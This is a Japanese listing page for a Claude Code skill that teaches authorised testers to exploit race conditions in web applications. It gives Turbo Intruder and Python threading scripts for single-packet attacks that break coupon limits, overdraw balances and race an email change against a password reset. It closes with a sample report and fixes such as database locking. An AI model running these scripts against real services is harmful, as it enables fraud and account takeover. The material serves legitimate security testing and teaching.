mcpField
E
exploiting-race-condition-vulnerabilities

exploiting-race-condition-vulnerabilities

github.com/mukul975セキュリティ35.2k233 回インストール8 週間前に更新
リポジトリ

exploiting-race-condition-vulnerabilities について

アプリケーションの競合状態を調査する、許可を得たセキュリティテスター向けのスキルです。並行リクエストのテスト、攻撃シナリオの分析、結果の記録を扱います。

主な機能

  1. 01状態変更操作における競合箇所の特定
  2. 02Turbo Intruder による同期リクエスト送信
  3. 03制限回避と複数エンドポイント間の競合テスト
  4. 04Python スレッドによる並行リクエスト送信
  5. 05応答の分析と状態変化の検証

活用シーン

  1. 01クーポンや在庫の一回限り制限のテスト
  2. 02送金と残高チェックのロジック評価
  3. 03ログインや MFA 試行回数制限の評価
  4. 04登録やパスワードリセットなど複数段階フローの監査

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-race-condition-vulnerabilities

インストール後、Claude Code で/exploiting-race-condition-vulnerabilitiesを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
references/
api-reference.md
scripts/
agent.py

詳細

競合状態の脆弱性を悪用する

使用する場面

  • 決済、送金、クーポンなど、トランザクションベースの機能を持つアプリケーションをテストするとき
  • レート制限または試行回数制限の仕組みを評価するとき
  • 登録、パスワードリセット、MFA など、複数段階のワークフローをテストするとき
  • 状態を変更する操作におけるロジックの欠陥を対象にバグバウンティを行うとき
  • 在庫または残高の管理システムを備えたアプリケーションを評価するとき

前提条件

  • Turbo Intruder 拡張機能をインストールした Burp Suite Professional
  • HTTP/2 シングルパケット攻撃手法の理解
  • Turbo Intruder のカスタムスクリプトを作成するための Python スクリプト作成能力
  • TOCTOU(チェック時点と使用時点の間)の脆弱性に関する知識
  • 状態を変更する操作(購入、投票、送金など)を備えた対象アプリケーション
  • ユーザー間の競合状態をテストするための複数のユーザーアカウント

法的通知: このスキルは、許可を得たセキュリティテストおよび教育目的に限って使用してください。所有していないシステム、またはテストの書面による許可を得ていないシステムに対する無許可の使用は違法であり、コンピューター詐欺に関する法律に違反する可能性があります。

ワークフロー

ステップ 1 — 競合状態の攻撃対象を特定する
# Common race condition targets:
# - Coupon/discount code redemption (limit: 1 per user)
# - Account balance transfers
# - Inventory purchase (limited stock)
# - Rate-limited operations (login attempts, SMS verification)
# - Multi-step workflows (email change + password reset)
# - File upload + processing pipelines

# Capture the target request in Burp Suite
# Send to Turbo Intruder (Extensions > Turbo Intruder > Send to Turbo Intruder)
ステップ 2 — Turbo Intruder でシングルパケット攻撃を設定する
# Turbo Intruder script for single-packet race condition
# This sends all requests simultaneously in one TCP packet

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)

    # Queue 20 identical requests for the same operation
    for i in range(20):
        engine.queue(target.req, gate='race1')

    # Hold all requests until ready
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)
ステップ 3 — 制限超過攻撃を実行する
# Turbo Intruder script for coupon/discount limit bypass
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          requestsPerConnection=50,
                          engine=Engine.BURP2)

    # Send 50 coupon redemption requests simultaneously
    for i in range(50):
        engine.queue(target.req, gate='coupon_race')

    engine.openGate('coupon_race')

def handleResponse(req, interesting):
    # Flag successful redemptions (200 OK)
    if req.status == 200:
        table.add(req)
ステップ 4 — 複数のエンドポイントにまたがる競合状態を悪用する
# Race condition between two different endpoints
# Example: Change email + trigger password reset simultaneously
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)

    # Request 1: Change email to [email protected]
    email_change = '''POST /api/change-email HTTP/2
Host: target.com
Cookie: session=VALID_SESSION
Content-Type: application/json

{"email":"[email protected]"}'''

    # Request 2: Trigger password reset (goes to original email)
    password_reset = '''POST /api/reset-password HTTP/2
Host: target.com
Content-Type: application/json

{"email":"[email protected]"}'''

    engine.queue(email_change, gate='race1')
    engine.queue(password_reset, gate='race1')

    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)
ステップ 5 — Python のスレッド処理を使った代替手法でテストする
import threading
import requests

TARGET_URL = "http://target.com/api/redeem-coupon"
COUPON_CODE = "DISCOUNT50"
SESSION_COOKIE = "session=abc123"

def send_request():
    response = requests.post(
        TARGET_URL,
        json={"coupon": COUPON_CODE},
        headers={"Cookie": SESSION_COOKIE},
        timeout=10
    )
    print(f"Status: {response.status_code}, Response: {response.text[:100]}")

# Create barrier to synchronize thread start
barrier = threading.Barrier(20)

def synchronized_request():
    barrier.wait()  # All threads wait here, then start together
    send_request()

threads = [threading.Thread(target=synchronized_request) for _ in range(20)]
for t in threads:
    t.start()
for t in threads:
    t.join()
ステップ 6 — 結果を分析し、悪用を確認する
# In Turbo Intruder results:
# - Sort by status code to identify successful requests
# - Compare response lengths to find anomalies
# - Check if more than one request succeeded (limit overrun confirmed)
# - Verify backend state (balance, inventory, coupon count)

# Document the race window timing
# Successful race conditions typically require:
# - HTTP/2 single-packet attack: ~30 seconds to find
# - Last-byte sync (HTTP/1.1): ~2+ hours to find
# - Thread-based approach: Variable, less reliable

主要な概念

概念説明
TOCTOU検証と処理の間に状態が変化することで発生する、チェック時点と使用時点の間の欠陥
シングルパケット攻撃正確な同期のため、複数の HTTP/2 リクエストを 1 つの TCP パケットで送信する手法
ラストバイト同期複数のリクエストの最終バイトを保留し、同時に解放する HTTP/1.1 の手法
制限超過検証ロジックにある競合ウィンドウを悪用し、1 回限りの使用制限を超過すること
隠れたステートマシン複数段階のアプリケーションワークフローにある遷移状態を悪用すること
ゲート機構すべてのリクエストがキューに入るまで保留し、その後同時に解放する Turbo Intruder の機能
接続のウォームアップ競合状態攻撃におけるネットワークジッターを低減するため、事前に接続を確立すること

ツールとシステム

ツール用途
Turbo Intruder高速な競合状態の悪用に使う Burp Suite 拡張機能
Burp Suite Repeater基本的な競合状態のテストに使うグループ送信機能
Nuclei競合状態の検出テンプレートを備えた、テンプレートベースのスキャナー
Python threadingカスタムのマルチスレッド競合状態スクリプト
racepwn競合状態テスト専用のフレームワーク
asyncio/aiohttp並行リクエスト送信に使う Python の非同期 HTTP

よくあるシナリオ

  1. クーポンの二重使用 — サーバーが使用済みとマークする前に、同時にクーポン引き換えリクエストを送信して、1 回限りのクーポンを複数回引き換える
  2. 残高を超える引き出し — 残高チェックをそれぞれ通過する送金リクエストを同時に送信し、利用可能な金額を超えて送金する
  3. MFA の回避 — 複数の MFA コードを同時に送信し、認証試行のレート制限を回避する
  4. 在庫の操作 — 在庫数の減算ロジックにある競合状態を悪用し、在庫数を超える商品を購入する
  5. アカウント登録の回避 — 同時に登録リクエストを送信し、同じメールアドレスで複数のアカウントを作成する

出力形式

## Race Condition Assessment Report
- **Target**: http://target.com/api/redeem-coupon
- **Technique**: HTTP/2 Single-Packet Attack via Turbo Intruder
- **Concurrent Requests**: 20
- **Successful Exploitations**: 4 out of 20

### Findings
| # | Endpoint | Operation | Expected | Actual | Severity |
|---|----------|-----------|----------|--------|----------|
| 1 | POST /redeem-coupon | Single use coupon | 1 redemption | 4 redemptions | High |
| 2 | POST /transfer | Balance transfer | Limited by balance | Overdraft achieved | Critical |

### Race Window Analysis
- HTTP/2 single-packet: Reliable exploitation in <30 seconds
- Success rate: ~20% per batch of 20 requests
- Race window estimated: 50-100ms

### Remediation
- Implement database-level locking (SELECT FOR UPDATE) on critical operations
- Use optimistic concurrency control with version numbers
- Apply idempotency keys for state-changing requests
- Implement distributed locks for multi-server environments

コメント